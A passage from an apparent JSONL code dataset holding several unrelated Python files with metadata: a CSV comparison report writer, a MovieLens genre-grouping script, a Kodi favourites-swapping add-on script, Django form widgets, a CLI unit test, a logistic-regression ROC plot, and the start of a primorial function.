len(self.comp_title) )][item]['tie']\r\n self.lines.setdefault('z2tie',[]).append(str(v))\r\n v = self.tie_win[find/( len(self.comp_title) )][item]['lose']\r\n self.lines.setdefault('z3lose',[]).append(str(v))\r\n v = self.tie_win[find/( len(self.comp_title) )][item]['less15']\r\n self.lines.setdefault('z4less15',[]).append(str(v))\r\n v = self.tie_win[find/( len(self.comp_title) )][item]['less15_5']\r\n self.lines.setdefault('z5less15_5',[]).append(str(v))\r\n v = self.tie_win[find/( len(self.comp_title) )][item]['less5_5']\r\n self.lines.setdefault('z6less5_5',[]).append(str(v))\r\n v = self.tie_win[find/( len(self.comp_title) )][item]['more5_15']\r\n self.lines.setdefault('z7more5_15',[]).append(str(v))\r\n v = self.tie_win[find/( len(self.comp_title) )][item]['more15']\r\n self.lines.setdefault('z8more15',[]).append(str(v))\r\n find = find + 1\r\n else:\r\n self.lines.setdefault('z1win',[]).append('')\r\n self.lines.setdefault('z2tie',[]).append('')\r\n self.lines.setdefault('z3lose',[]).append('')\r\n self.lines.setdefault('z4less15',[]).append('')\r\n self.lines.setdefault('z5less15_5',[]).append('')\r\n self.lines.setdefault('z6less5_5',[]).append('')\r\n self.lines.setdefault('z7more5_15',[]).append('')\r\n self.lines.setdefault('z8more15',[]).append('')\r\n self.lines.setdefault('z1win',[]).remove('')\r\n self.lines.setdefault('z2tie',[]).remove('')\r\n self.lines.setdefault('z3lose',[]).remove('')\r\n self.lines.setdefault('z4less15',[]).remove('')\r\n self.lines.setdefault('z5less15_5',[]).remove('')\r\n self.lines.setdefault('z6less5_5',[]).remove('')\r\n self.lines.setdefault('z7more5_15',[]).remove('')\r\n self.lines.setdefault('z8more15',[]).remove('')\r\n def show_title(self):\r\n self.show_title = self.original_part_title+self.firt_compare_title\r\n def add_note(self):\r\n all_keys = list(self.src.note.keys())\r\n for cmp in self.cmps:\r\n all_keys = all_keys + list(cmp.note.keys())\r\n all_keys = list(set(all_keys))\r\n self.note_line.append(\",\".join(all_keys))\r\n use_line = []\r\n for key in all_keys:\r\n if key in list(self.src.note.keys()):\r\n string = self.src.note[key]\r\n string = [s.replace(',',' ') for s in string]\r\n string = \",\".join(string)\r\n use_line.append(string) \r\n else:\r\n use_line.append('')\r\n self.note_line.append(\",\".join(use_line))\r\n for cmp in self.cmps:\r\n use_line = []\r\n for key in all_keys:\r\n if key in list(cmp.note.keys()):\r\n string = cmp.note[key]\r\n string = [s.replace(',',' ') for s in string]\r\n string = \",\".join(string)\r\n use_line.append(string) \r\n else:\r\n use_line.append('')\r\n self.note_line.append(\",\".join(use_line))\r\n def add_note_horizonal(self):\r\n all_keys = list(self.src.note.keys())\r\n for cmp in self.cmps:\r\n all_keys = all_keys + list(cmp.note.keys())\r\n all_keys = list(set(all_keys))\r\n \r\n for key in all_keys:\r\n use_line = ['['+key+']']\r\n if key in list(self.src.note.keys()):\r\n string = self.src.note[key]\r\n string = [s.replace(',',' ') for s in string]\r\n string = \",\".join(string)\r\n string = string.strip()\r\n use_line.append(','+string+'\\n') \r\n else:\r\n use_line.append(',\\n')\r\n #print use_line\r\n for cmp in self.cmps:\r\n if key in list(cmp.note.keys()):\r\n string = cmp.note[key]\r\n string = [s.replace(',',' ') for s in string]\r\n string = \",\".join(string)\r\n string = string.strip()\r\n use_line.append(','+string+'\\n') \r\n else:\r\n use_line.append(',\\n')\r\n self.note_line.append(\"\".join(use_line))\r\n def write_file_name(self):\r\n second_part = ''\r\n first_part = os.path.basename(self.src.csv_file)+','*( len(self.original_title) )\r\n for cmp in self.cmps:\r\n part = os.path.basename(cmp.csv_file)+','*( len(self.original_title)-1 )\r\n second_part+=part\r\n for id1,cmp in enumerate(self.cmps):\r\n n1 = id1 + 1\r\n #part = 'cmp' +str(n1)+ \",\"*(len(self.comp_title)*2 )\r\n part = os.path.basename(cmp.csv_file)+'VS'+os.path.basename(self.src.csv_file)+ \",\"*(len(self.comp_title)*2 )\r\n second_part+=part\r\n self.file_name_line = first_part + second_part \r\n \r\n \r\n \r\n def write_file(self):\r\n self.original_part()\r\n self.compare_part()\r\n self.show_title()\r\n self.compare_part_average()\r\n self.compare_part_gap()\r\n self.compare_part_sub_average()\r\n self.write_tie_win()\r\n self.write_file_name()\r\n file_hand = file(self.output,'w')\r\n #self.add_note()\r\n self.add_note_horizonal()\r\n for line_n in self.note_line:\r\n file_hand.write(line_n)\r\n file_hand.write(self.file_name_line+'\\n') \r\n file_hand.write( \",\".join(self.show_title ) +'\\n' )\r\n \r\n line_nums = list(self.lines.keys())\r\n line_nums.sort()\r\n for line_n in line_nums:\r\n line_content = \",\".join(self.lines[line_n])\r\n file_hand.write(line_content+'\\n')\r\n file_hand.close()\r\n #return self.output,bb\r\n \r\ndef option():\r\n p=optparse.OptionParser()\r\n p.add_option(\"-f\",\"--no-fmax\",action=\"store_true\",help=\"no fmax in the compare file\")\r\n p.add_option(\"-s\",\"--src\",action=\"store\",type=\"string\",dest=\"src\",help=\"The first file you want to compare\")\r\n p.add_option(\"-c\",\"--cmp\",action=\"store\",type=\"string\",dest=\"cmp\",help=\"The second file you want to compare\")\r\n p.add_option(\"-o\",\"--output\",action=\"store\",type=\"string\",dest=\"output\",help=\"The output file you want to compare\") \r\n p.add_option(\"-t\",\"--comp_title\",action=\"store\",type=\"string\",dest=\"comp_title\",help=\"The title you want to compare\")\r\n p.add_option(\"-r\",\"--original_title\",action=\"store\",type=\"string\",dest=\"original_title\",help=\"The original title you want to see\")\r\n opt,args=p.parse_args() \r\n return opt\r\ndef run():\r\n opt = option()\r\n src_csv = opt.src\r\n cmp_csvs = opt.cmp\r\n compare_title = opt.comp_title\r\n original_title = opt.original_title\r\n output = opt.output\r\n no_fmax = opt.no_fmax\r\n cmp_csvs = cmp_csvs.split(',')\r\n src_csv_content = csv_content(src_csv)\r\n cmp_csv_contents = []\r\n title_dic = get_conf_options(param_conf_file)\r\n compare_title = title_dic['Comp_Title'][compare_title]\r\n compare_title = compare_title.split(',')\r\n compare_title= [item.strip() for item in compare_title]\r\n original_title = title_dic['Original_Title'][original_title]\r\n original_title = original_title.split(',')\r\n original_title= [item.strip() for item in original_title]\r\n for cmp in cmp_csvs:\r\n if os.path.isfile(cmp):\r\n cmp_csv_contents.append( csv_content(cmp) )\r\n write_csv_o = write_csv(src_csv_content,cmp_csv_contents,output,compare_title,original_title,'')\r\n\r\n write_csv_o.write_file()\r\ndef run_web(src,cmp,comp_title,original_title,output):\r\n #opt = option()\r\n src_csv = src\r\n cmp_csvs = cmp\r\n compare_title = comp_title\r\n original_title = original_title\r\n output = output\r\n cmp_csvs = cmp_csvs.split(',')\r\n src_csv_content = csv_content(src_csv)\r\n cmp_csv_contents = []\r\n title_dic = get_conf_options(param_conf_file)\r\n if compare_title.find('l25')!= -1:\r\n compare_title = title_dic['Comp_Title'][compare_title]\r\n compare_title = compare_title.split(',')\r\n compare_title= [item.strip() for item in compare_title]\r\n else:\r\n compare_title = compare_title.split(',')\r\n if original_title.find('Design')!= -1:\r\n original_title = original_title.split(',')\r\n \r\n else:\r\n original_title = title_dic['Original_Title'][original_title]\r\n original_title = original_title.split(',')\r\n original_title= [item.strip() for item in original_title]\r\n for cmp in cmp_csvs:\r\n if os.path.isfile(cmp):\r\n cmp_csv_contents.append( csv_content(cmp) )\r\n write_csv_o = write_csv(src_csv_content,cmp_csv_contents,output,compare_title,original_title,'')\r\n\r\n write_csv_o.write_file()\r\n\r\ndef for_QoR(line,param_conf=''):\r\n src_csv = get_cmd_value(line,'src')\r\n cmp_csvs = get_cmd_value(line,'cmp')\r\n compare_title = get_cmd_value(line,'Comp_Title')\r\n original_title = get_cmd_value(line,'Original_Title')\r\n output = get_cmd_value(line,'output')\r\n no_fmax = get_cmd_value(line,'no-fmax')\r\n cmp_csvs = cmp_csvs.replace('\"','')\r\n cmp_csvs = cmp_csvs.split(',')\r\n src_csv_content = csv_content(src_csv,no_fmax)\r\n cmp_csv_contents = []\r\n param_conf_file = os.path.join(os.path.dirname(__file__),'param.conf')\r\n if param_conf:\r\n if os.path.isfile(param_conf):\r\n param_conf_file = param_conf\r\n else:\r\n print('Error, can not find file:%s\\n\\n'%param_conf)\r\n sys.exit(-1)\r\n title_dic = get_conf_options(param_conf_file)\r\n try:\r\n compare_title = title_dic['Comp_Title'][compare_title]\r\n except:\r\n print('Error, can not find key:%s'%compare_title)\r\n sys.exit(-1)\r\n compare_title = compare_title.split(',')\r\n compare_title= [item.strip() for item in compare_title]\r\n try:\r\n original_title = title_dic['Original_Title'][original_title]\r\n except:\r\n print('Error, can not find key:%s'%original_title)\r\n sys.exit(-1)\r\n \r\n original_title = original_title.split(',')\r\n original_title= [item.strip() for item in original_title]\r\n if set(compare_title) - set(original_title):\r\n print('Error, you have to make sure compare_title is a sub set of original title \\n\\n\\n\\n')\r\n sys.exit(-1)\r\n for cmp in cmp_csvs:\r\n if os.path.isfile(cmp):\r\n cmp_csv_contents.append( csv_content(cmp,no_fmax) )\r\n #print cmp,111\r\n write_csv_o = write_csv(src_csv_content,cmp_csv_contents,output,compare_title,original_title,'',no_fmax)\r\n write_csv_o.write_file()\r\n os.remove(output)\r\ndef get_cmd_value(str,cmd):\r\n '''\r\n This function used to get the command value from a line.\r\n str is the command line\r\n cmd is the name you want to return\r\n EXAMPLE: \r\n '*** *** --command=value *** ***'\r\n the return is \"value\" \r\n '''\r\n '''cmd = '--'+cmd\r\n cmd_re = re.compile(r\"\"\"%s\\s?=\\s?([\\w : \\\\ _ \\- \\. , \"]+)\r\n ($\r\n |\\s+--)\"\"\"%cmd,re.VERBOSE)\r\n cmd_compile = cmd_re.search(str)\r\n if cmd_compile:\r\n #print cmd_compile.groups(-1)\r\n print (cmd_compile.group(1)).strip()\r\n return (cmd_compile.group(1)).strip()\r\n else:\r\n print 'Nothing find'\r\n return'''\r\n re_option = re.compile(r'--'+cmd+r'=(.+?)(--|$)')\r\n re_search = re_option.search(str)\r\n if re_search:\r\n return (re_search.group(1)).strip()\r\n else:\r\n return '' \r\nif __name__ == '__main__':\r\n run()","sub_path":"tmp_client/tools/corescripts3/DEV/tools/scan_report/tools/spreadSheet/write_csv_class.py","file_name":"write_csv_class.py","file_ext":"py","file_size_in_byte":37319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"242473438","text":"import csv,sys\nfrom collections import *\n\n\nrate = open('/Users/micklin/Documents/ml-20m/ratings.csv', 'rb')\nmovies = open('movies.csv', 'rb')\n\nmreader = csv.reader(movies, delimiter=',')\ngenre_hash = defaultdict(lambda: [])\nfor row in mreader:\n\tgenre_hash[row[0]]=row[2].split(\"|\")\n\n\nrreader = csv.reader(rate, delimiter=',')\n\ni=0\nuser_personality = defaultdict(lambda: defaultdict( lambda:0))\nrate_count = defaultdict(lambda: 0)\nfor row in rreader:\n\tif i ==0:\n\t\ti+=1 \n\t\tcontinue\n\trate_count[row[0]]+=1\n\tif float(row[2]) >= 4.0:\n\t\t# print genre_hash[row[1]]\n\t\ts = set()\n\t\tfor gen in genre_hash[row[1]]:\n\t\t\tuser_personality[row[0]][gen]+=1 \n\t\t\ts.add(gen)\n\t\t# if row[0] not in user_personality:\n\t\t# \tuser_personality[row[0]] = s\n\t\t# else:\n\t\t# \t# print user_personality[row[0]]\n\t\t# \tuser_personality[row[0]] = user_personality[row[0]].union(s)\n\t\t# print row \n\t\ti+=1\n\n\t# if i==1000: break\n\nfilter_personality =defaultdict(lambda: set())\nfor uid, gen_list in user_personality.items():\n\ti=0\n\ts= set()\n\tfor gen, count in sorted(gen_list.items(), key= lambda x: -x[1]):\n\t\t# print uid ,gen, count\n\t\tif count >3 and i <7:\n\t\t\ts.add(gen)\n\t\t\ti+=1\n\tfilter_personality[uid] |= s\n# print rate_count\n# print filter_personality\ntotal_personality = defaultdict(lambda: [])\nfor k, v in filter_personality.items():\n\tif rate_count[k] >5:\n\t\tsortl = sorted(list(v))\n\t\ttotal_personality[\"|\".join(sortl)].append(k)\n\n# print total_personality\nout = open('personality.csv', 'wb') \nspamwriter = csv.writer(out, delimiter=',', quoting=csv.QUOTE_MINIMAL)\nfor k, v in total_personality.items():\n\tspamwriter.writerow([k, \"|\".join(v)])\nrate.close()\nmovies.close()","sub_path":"movie_data/personality.py","file_name":"personality.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"466047200","text":"# -*- coding: utf-8 -*-\nimport os\nimport os.path\nimport xbmc\nimport xbmcaddon\nimport shutil\nimport sys\nimport xbmcgui\n\nNAME = sys.argv[1]\nwin = xbmcgui.Window(xbmcgui.getCurrentWindowId())\nfocus = win.getFocusId()\n\nTEMPFAVOURITESFILE = os.path.join(xbmc.translatePath('special://userdata/'), \"favourites\", NAME, \"favourites.xml\")\nREALFAVOURITESFILE = os.path.join(xbmc.translatePath('special://userdata'), \"favourites.xml\")\nREALFAVOURITESSAVE = os.path.join(xbmc.translatePath('special://userdata'), \"favouritessave.xml\")\nREALFAVOURITESBACKUP = os.path.join(xbmc.translatePath('special://userdata'), \"favouritesbackup.xml\")\n\n# check if REALFAVOURITESSAVE file exists - if it does it means someone's button-happy\n# so move REALFAVOURITESSAVE back to REALFAVOURITESFILE and close the script.\nif os.path.isfile(REALFAVOURITESSAVE):\n os.remove(REALFAVOURITESFILE)\n os.rename(REALFAVOURITESSAVE, REALFAVOURITESFILE)\n exit \n\n# check if favourites window is visible - no returns 0, yes returns 1\nvis = xbmc.getCondVisibility('Window.IsVisible(10134)')\n#if favourites are visible move left to close them\nif vis == 1:\n\txbmc.executebuiltin( \"XBMC.Action(Left)\" )\n\txbmc.sleep(300)\n\n#\tCheck if using smashingletters whether focus is not on sidebar (2) or (right) scrollbar (60) - and move focus to main list if required.\nif NAME == 'smashingletters':\n\tif focus == 2:\n\t\txbmc.executebuiltin( \"XBMC.Action(Right)\" )\n\tif focus == 60:\n\t\txbmc.executebuiltin( \"XBMC.Action(Left)\" )\t\t\n\t\n# Rename favourites.xml to favouritessave.xml, copy temp favourites to userdata, load favourites, restore real favourites.\n\nif os.path.isfile(REALFAVOURITESFILE):\n os.rename(REALFAVOURITESFILE, REALFAVOURITESSAVE)\n shutil.copy(TEMPFAVOURITESFILE, REALFAVOURITESFILE)\n xbmc.executebuiltin(\"ActivateWindow(Favourites)\")\n xbmc.sleep(1000)\n os.remove(REALFAVOURITESFILE)\n os.rename(REALFAVOURITESSAVE, REALFAVOURITESFILE)\n exit\nelse:\n shutil.copy(TEMPFAVOURITESFILE, REALFAVOURITESFILE)\n xbmc.executebuiltin(\"ActivateWindow(Favourites)\")\n xbmc.executebuiltin('Notification(Check, favourites)')\n xbmc.sleep(1000)\n os.remove(REALFAVOURITESFILE)\n shutil.copy(REALFAVOURITESBACKUP, REALFAVOURITESFILE)\n exit","sub_path":"script.me.syncsmashingfromgithub/smashingfavourites/scripts/oldscripts/1tempfavourites.py","file_name":"1tempfavourites.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"40611647","text":"from django import forms\nfrom django.utils.safestring import mark_safe\n\nfrom django.conf import settings\nfrom django.utils.html import escape\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom taggit.utils import edit_string_for_tags, parse_tags\n\n\nclass BootstrapChoiceMixin(object):\n def __init__(self, *args, **kwargs):\n kwargs.setdefault('attrs', {})\n kwargs['attrs'].update({'class': 'form-check-input'})\n super(BootstrapChoiceMixin, self).__init__(*args, **kwargs)\n\n\nclass BootstrapCheckboxInput(BootstrapChoiceMixin, forms.CheckboxInput):\n pass\n\n\nclass BootstrapRadioSelect(BootstrapChoiceMixin, forms.RadioSelect):\n option_template_name = 'helper/forms/widgets/radio_option.html'\n\n\nclass BootstrapFileInput(forms.FileInput):\n def __init__(self, *args, **kwargs):\n kwargs.setdefault('attrs', {})\n kwargs['attrs'].update({'class': 'form-control'})\n super(BootstrapFileInput, self).__init__(*args, **kwargs)\n\n\nclass PriceInput(forms.TextInput):\n template_name = \"helper/forms/widgets/price_input.html\"\n\n def get_context(self, name, value, attrs):\n ctx = super(PriceInput, self).get_context(name, value, attrs)\n ctx['widget'].setdefault('attrs', {})\n ctx['widget']['attrs']['class'] = 'form-control col-3'\n ctx['widget']['attrs']['pattern'] = \"[\\\\d\\\\.,]*\"\n ctx['currency'] = settings.FROIDE_CONFIG['currency']\n return ctx\n\n\nclass TagAutocompleteWidget(forms.TextInput):\n class Media:\n\n js = (\n 'js/tagautocomplete.js',\n )\n\n css_list = [\n 'css/tagautocomplete.css'\n ]\n css = {\n 'screen': css_list\n }\n\n def __init__(self, *args, **kwargs):\n self.autocomplete_url = kwargs.pop('autocomplete_url', None)\n super(TagAutocompleteWidget, self).__init__(*args, **kwargs)\n\n def value_from_datadict(self, data, files, name):\n \"\"\" Force comma separation of tags by adding trailing comma \"\"\"\n val = data.get(name, None)\n if val is None:\n return None\n return val + ','\n\n def render(self, name, value, attrs=None, renderer=None):\n \"\"\" Render HTML code \"\"\"\n if value is not None and not isinstance(value, str):\n value_list = [o.tag for o in value.select_related('tag')]\n value = edit_string_for_tags(value_list)\n\n options = [\n ''.format(\n value=escape(str(o))) for o in parse_tags(value)]\n options = '\\n'.join(options)\n\n context = {\n 'data-additemtext': _('Press Enter to add ${value}'),\n 'data-uniqueitemtext': _('This tag is already set.'),\n 'data-loading': _('Searching…'),\n 'data-noresults': _('No results'),\n 'data-nochoices': _('No results'),\n 'data-fetchurl': self.autocomplete_url\n }\n context = {k: escape(v) for k, v in context.items()}\n context = ['%s=\"%s\"' % (k, v) for k, v in context.items()]\n\n html = super(TagAutocompleteWidget, self).render(\n name, value, attrs, renderer=renderer\n )\n html = \"\"\"
{input}
\n \"\"\".format(\n input=html,\n objectid=attrs['id'],\n options=options,\n dataitems=' '.join(context)\n )\n return mark_safe(html)\n","sub_path":"froide/helper/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650356103","text":"#!/usr/bin/env python\n#\n# Ultimate Debian Database query tool\n#\n# Test suite\n#\n###\n#\n# Copyright (c) 2010-2011 Stuart Prescott\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions, and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions, and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the author of this software nor the name of\n# contributors to this software may be used to endorse or promote products\n# derived from this software without specific prior written consent.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n###\n\n\"\"\"Unit test for cli.py\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\ntry:\n import unittest2 as unittest\nexcept:\n import unittest\ntry:\n from cStringIO import StringIO\nexcept:\n from io import StringIO\n\nfrom uddcache.clibase import CliBase\n\nimport codecs\nsys.stdout = codecs.getwriter('utf8')(sys.stdout)\n\n\nclass cliTests(unittest.TestCase):\n\n # TODO: these tests are overly minimal\n\n def setUp(self):\n class dummyOptions:\n def __init__(self):\n self.distro = 'debian'\n self.verbose = False\n class dummyDispatcher:\n def __init__(self, initialiser):\n pass\n # gobble all stdout so that the tests can just be run without output\n # this is crude: it would be better to test that the output was correct\n # rather than just testing that the program doesn't crash on running\n # the code.\n # FIXME: replace these tests with doctest?\n # http://docs.python.org/library/doctest.html#doctest-unittest-api\n self.held, sys.stdout = sys.stdout, StringIO()\n self.cli = CliBase(options=dummyOptions(), dispatcherClass=dummyDispatcher)\n\n def tearDown(self):\n sys.stdout = self.held\n self.cli = None\n\n def test_init(self):\n self.assertRaises(ValueError, CliBase)\n\n def _dummy_func(self, package, args, options):\n return True\n\n def testis_valid_command(self):\n self.cli.command_map = {'versions': self._dummy_func}\n self.cli.command_aliases = {'show': 'versions'}\n self.assertTrue(self.cli.is_valid_command(\"versions\"))\n self.assertTrue(self.cli.is_valid_command(\"show\")) # test an alias\n self.assertFalse(self.cli.is_valid_command(\"nosuchcommand\"))\n\n def testrun(self):\n self.cli.command_map = {'versions': self._dummy_func}\n self.cli.command_aliases = {'show': 'versions'}\n self.assertTrue(self.cli.run(\"versions\", \"dpkg\", []) is None)\n self.assertTrue(self.cli.run(\"show\", \"dpkg\", []) is None)\n self.assertRaises(ValueError, self.cli.run, \"nosuchcommand\", \"\", [])\n\n###########################################################\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"supybot/plugins/Judd/uddcache/test/test_clibase.py","file_name":"test_clibase.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"517061667","text":"#recursiveli fak\ndef faktoriyel(n):\n if n==1:\n return 1\n else:\n return n*faktoriyel(n-1)\nprint(faktoriyel(5))\n\n#iterasyonlu fak\ndef iteratif_faktoriyel(n):\n sonuc=1\n for i in range(2,n+1):\n sonuc*=i\n return sonuc\nprint(iteratif_faktoriyel(5))","sub_path":"MY_EXERCISE/faktor_recursive.py","file_name":"faktor_recursive.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"469315944","text":"# -*- coding: utf-8 -*-\n\"\"\"\n创建时间:Tue Feb 5 15:48:25 2019\n描述:展示ROC曲线和AUC\n作者: PM.LiuGang\nReview:20190220\n遗留:\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nfrom sklearn import metrics\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split # ?\n\nplt.rcParams[\"font.sans-serif\"] = [\"SimHei\"]\n\n\ndef transLabel(data):\n '''\n 将文字变量转换为数字变量\n \n Parameters\n ----------\n data : pd.DataFrame\n \n Return\n ------\n data : pd.DataFrame\n add columns 'label_code', [0,1]\n '''\n data['label_code'] = pd.Categorical(data.label).codes\n return data\n\n\ndef trainModel(data, features, labels):\n '''\n 搭建逻辑回归模型,并训练模型\n \n Parameters\n ----------\n data : pd.DataFrame\n will be fitted data\n \n features : list[str]\n trainned data features\n \n label : list[str]\n trainned data labels\n \n Returns\n -------\n model : fitted-LogisticRegression-model\n '''\n model = LogisticRegression()\n model.fit(data[features], data[labels])\n return model\n\n\ndef readData(path):\n '''\n 用pd读取数据\n \n Parameters\n ---------\n path : str\n file name, file name with abs path\n \n Returns\n -------\n data[cols] : 原data中的几列\n '''\n data = pd.read_csv(path, encoding='utf-8')\n cols = ['age', 'education_num', 'capital_gain', 'capital_loss',\n 'hours_per_week', 'label']\n return data[cols]\n\n\ndef visualizeRoc(fpr, tpr, auc):\n '''\n 可视化ROC曲线\n \n Parameters\n ----------\n fpr : str\n FP + FN / FP + FN + TP + TN\n tpr : str\n TP + TN / FP + FN + TP + TN\n auc : str , [0,1]\n AUC的面积\n Returns\n -------\n matlibplot.pyplot.Axes\n '''\n fig = plt.figure(figsize=(6,6), dpi=80)\n ax = fig.add_subplot(111)\n ax.set_title('%s' % 'ROC曲线')\n ax.set_xlabel('False Positive Rate')\n ax.set_ylabel('True Positive Rate')\n ax.plot([0, 1], [0, 1], 'r--')\n ax.set_xlim([0, 1])\n ax.set_ylim([0, 1])\n ax.plot(fpr, \n tpr, \n 'k', \n label='%s: %s = %0.2f' % ('ROC曲线', '曲线下面积(AUC)', auc))\n ax.fill_between(fpr, tpr, color='grey', alpha=0.6) # ?\n plt.legend(shadow=True)\n plt.show()\n\n\ndef logitRegression(data):\n '''\n 逻辑回归主程序\n \n Parameters\n ----------\n data : pd.DataFrame\n \n Returns\n -------\n \n '''\n data = transLabel(data)\n features = ['age', 'education_num', 'capital_gain', \n 'capital_loss','hours_per_week']\n labels = 'label_code'\n trainSet, testSet = train_test_split(data,\n test_size=.2,\n random_state=2310)\n model = trainModel(trainSet, features, labels)\n preds = model.predict_proba(testSet[features])[:, 1]\n fpr, tpr, _ = metrics.roc_curve(testSet[labels], preds) # thresholds\n auc = metrics.auc(fpr, tpr)\n visualizeRoc(fpr, tpr, auc)\n\n\nif __name__ == '__main__':\n dataPath = 'adult.data'\n data = readData(dataPath)\n logitRegression(data)\n","sub_path":"Desktop/myself/reader/数据科学_从线性回归到深度学习/p125.py","file_name":"p125.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"532412320","text":"from django import template\n\nfrom gipsy.dashboard.models import GipsyDashboardMenu\nfrom gipsy.dashboard.settings import GIPSY_DASHBOARD_URL,\\\n GIPSY_VANILLA_INDEX_URL, GIPSY_THEME\n\n\nregister = template.Library()\n\n\n@register.inclusion_tag('tags/gipsy_dashboard_menu.html', takes_context=True)\ndef gipsy_dashboard_menu(context, *args, **kwargs):\n \"\"\"\n This tags manages the display of the admin menu.\n \"\"\"\n context['items'] = GipsyDashboardMenu.objects.filter(parent__isnull=True)\\\n .order_by('order')\n context['dashboard_url'] = GIPSY_DASHBOARD_URL\n context['vanilla_index_url'] = GIPSY_VANILLA_INDEX_URL\n return context\n\n\n@register.inclusion_tag('tags/widgets/active_users.html')\ndef dashboard_active_users(count=0, title=\"CURRENTLY ACTIVE USERS\",\n label=\"CURRENT USERS\"):\n return {'count': count, 'title': title, 'label': label}\n\n\n@register.inclusion_tag('tags/widgets/item_list.html')\ndef dashboard_item_list(items, title=\"MOST RECENT ITEMS\"):\n return {'items': items, 'title': title}\n\n\n@register.simple_tag\ndef gipsy_theme():\n \"\"\"\n Returns the Title for the Admin-Interface.\n \"\"\"\n return GIPSY_THEME\n","sub_path":"gipsy/dashboard/templatetags/gipsy_dashboard.py","file_name":"gipsy_dashboard.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"634684336","text":"import torch.nn as nn\nimport numpy as np\nfrom torch.nn.functional import bilinear\nimport pytest\n\nfrom test.utils import convert_and_test\n\n\nclass LayerUpsample(nn.Module):\n \"\"\"\n Test for nn.layers based types\n \"\"\"\n def __init__(self, size, scale_factor, mode):\n super(LayerUpsample, self).__init__()\n self.upsample = nn.Upsample(size=size, scale_factor=scale_factor, mode=mode)\n\n def forward(self, x):\n x = self.upsample(x)\n return x\n\n\nclass FInterpolate(nn.Module):\n \"\"\"\n Test for nn.functional types\n \"\"\"\n def __init__(self, mode, size=None, scale_factor=None):\n super(FInterpolate, self).__init__()\n self.mode = mode\n self.size = size\n self.scale_factor = scale_factor\n\n def forward(self, x):\n from torch.nn import functional as F\n return F.interpolate(x, scale_factor=self.scale_factor, size=self.size, mode=self.mode)\n\n\n@pytest.mark.parametrize('change_ordering', [True, False])\n@pytest.mark.parametrize('mode', ['nearest', 'bilinear'])\n@pytest.mark.parametrize('size,scale_factor', [(None, 2), ((128, 128), None)])\ndef test_f_interpole(change_ordering, mode, size, scale_factor):\n model = FInterpolate(mode=mode, size=size, scale_factor=scale_factor)\n model.eval()\n input_np = np.random.uniform(0, 1, (1, 3, 64, 64))\n error = convert_and_test(model, input_np, verbose=False, change_ordering=change_ordering)\n\n\n@pytest.mark.parametrize('change_ordering', [True, False])\n@pytest.mark.parametrize('mode', ['nearest', 'bilinear'])\n@pytest.mark.parametrize('size,scale_factor', [(None, 2), ((128, 128), None)])\ndef test_layer_upsamle(change_ordering, mode, size, scale_factor):\n model = LayerUpsample(mode=mode, size=size, scale_factor=scale_factor)\n model.eval()\n input_np = np.random.uniform(0, 1, (1, 3, 64, 64))\n error = convert_and_test(model, input_np, verbose=False, change_ordering=change_ordering)\n\n","sub_path":"test/layers/upsampling/test_upsampling.py","file_name":"test_upsampling.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"163197447","text":"# Name: Alexis Raymond\n# Date: April 20, 2020\n# Exercise: A Primorial is a product of the first n prime numbers. Create a function that returns the Primorial of a number. (https://edabit.com/challenge/fRjfrCYXWJAaQqFXF)\n\n##### Method #####\ndef isPrime(n): # returns True if the number is prime and false otherwise\n\tfor i in range(2,n): # iterate through all the numbers between 2 and n exclusively\n\t\tif (n % i == 0): # if there is no rest after dividing n by the iterated number\n\t\t\treturn False # return false (the number is not a prime)\n\n\treturn True # if there are no numbers that return no rest, return true (the number is a prime)\n\ndef primorial(n): # returns the primorial of a number\n\tproduct = 1 # initiate a variable to hold the product\n\ti = 2 # initiate a variable to hold the numbers 